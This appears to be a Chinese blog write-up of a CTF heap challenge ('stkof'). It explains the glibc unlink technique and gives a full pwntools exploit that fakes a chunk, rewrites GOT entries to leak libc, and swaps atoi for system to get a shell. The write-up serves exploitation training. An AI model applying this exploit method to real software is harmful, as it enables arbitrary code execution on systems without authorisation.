Unlink
正常情况
image.png
操作
首先我们通过覆盖,将P 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,fakeFD和fakeBK(也就是已知的块指针位置向上12和8,这里是32位)需要
fakeFD -> bk == P <=> *(fakeFD + 12) == P
fakeBK -> fd == P <=> *(fakeBK + 8) == P
当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:
fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD
如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:
*P = P - 8
*P = P - 12
即通过此方式,已知位置存储的P指针的值减去了12
效果
简单来说,在可溢出的情况下,并且malloc过后的指针被存储在某一已知位置,则可以达到此位置向上12开始可写。
以上都为32位
以下题目为64位
题目分析
- 分配自定义大小的chunk
- 修改堆中储存内容,自定义大小
- 释放堆
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int choice; // eax signed int v5; // [rsp+Ch] [rbp-74h] char nptr; // [rsp+10h] [rbp-70h] unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) )
{
choice = atoi(&nptr);
if ( choice == 2 )
{
v5 = fill();
goto LABEL_14;
}
if ( choice > 2 )
{
if ( choice == 3 )
{
v5 = free_chunk();
goto LABEL_14;
}
if ( choice == 4 )
{
v5 = print();
goto LABEL_14;
}
}
else if ( choice == 1 )
{
v5 = alloc();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
溢出函数
signed __int64 fill()
{
signed __int64 result; // rax int i; // eax unsigned int idx; // [rsp+8h] [rbp-88h] __int64 size; // [rsp+10h] [rbp-80h] char *ptr; // [rsp+18h] [rbp-78h] char s; // [rsp+20h] [rbp-70h] unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
idx = atol(&s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
申请函数
signed __int64 alloc()
{
__int64 size; // [rsp+0h] [rbp-80h] char *v2; // [rsp+8h] [rbp-78h] char s; // [rsp+10h] [rbp-70h] unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
globals[++cnt] = v2;
printf("%d\n", (unsigned int)cnt, size);
return 0LL;
}
基本思路
因为堆指针被存在0x602040这个已知位置,因此我们可以修改某指针,以达到修改其它块指针的效果,之后通过修改块内容就达到了任意地址写
-
伪造堆,unlink 将globals[2]改为&globals[2]-0x18
-
通过edit 将globals[1]改为free@got,globals[2]改为puts@got,globals[3]改为atoi@got
-
通过edit,将free@got改为puts@plt,这样在下一次free的时候,就可以执行puts来leak了
-
将atoi@got改为system_addr,利用main函数中的atoi来获取shell
exp
from pwn import *
s = process("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./stkof")
def alloc(size):
s.sendline("1")
s.sendline(str(size))
s.recvuntil("OK\n")
log.success("Have Malloc A Heap With:"+hex(size))
def free(idx):
s.sendline("3")
s.sendline(str(idx))
# s.recvuntil("OK\n")
log.success("Have Free Heap:"+str(idx))
def edit(idx,size,payload):
s.sendline("2")
s.sendline(str(idx))
s.sendline(str(size))
s.send(payload)
s.recvuntil("OK\n")
log.success("Have Edit Heap:"+str(idx))
head = 0x0602140
##unlink
# gdb.attach(s,"break *0x400D29")
alloc(0x100) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
fd = head+16-0x18
bk = head+16-0x10
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, len(payload1), payload1)
free(3)
##change free to puts get libc base
# print payload1
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
payload = 'a'*16 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2,len(payload),payload)
edit(1,len(p64(puts_plt)),p64(puts_plt))
free(2)
s.recvline()
puts_real = u64(s.recvline(keepends=False)[0:8].ljust(8,'\x00'))
#log.success("Puts_real:"+hex(puts_real))
offset = puts_real - libc.symbols['puts']
#log.success("Offset:"+hex(offset))
system_addr = libc.symbols['system']+offset
#log.success("System_addr:"+hex(system_addr))
#shell
edit(3,len(p64(system_addr)),p64(system_addr))
s.sendline("/bin/sh")
s.interactive()











网友评论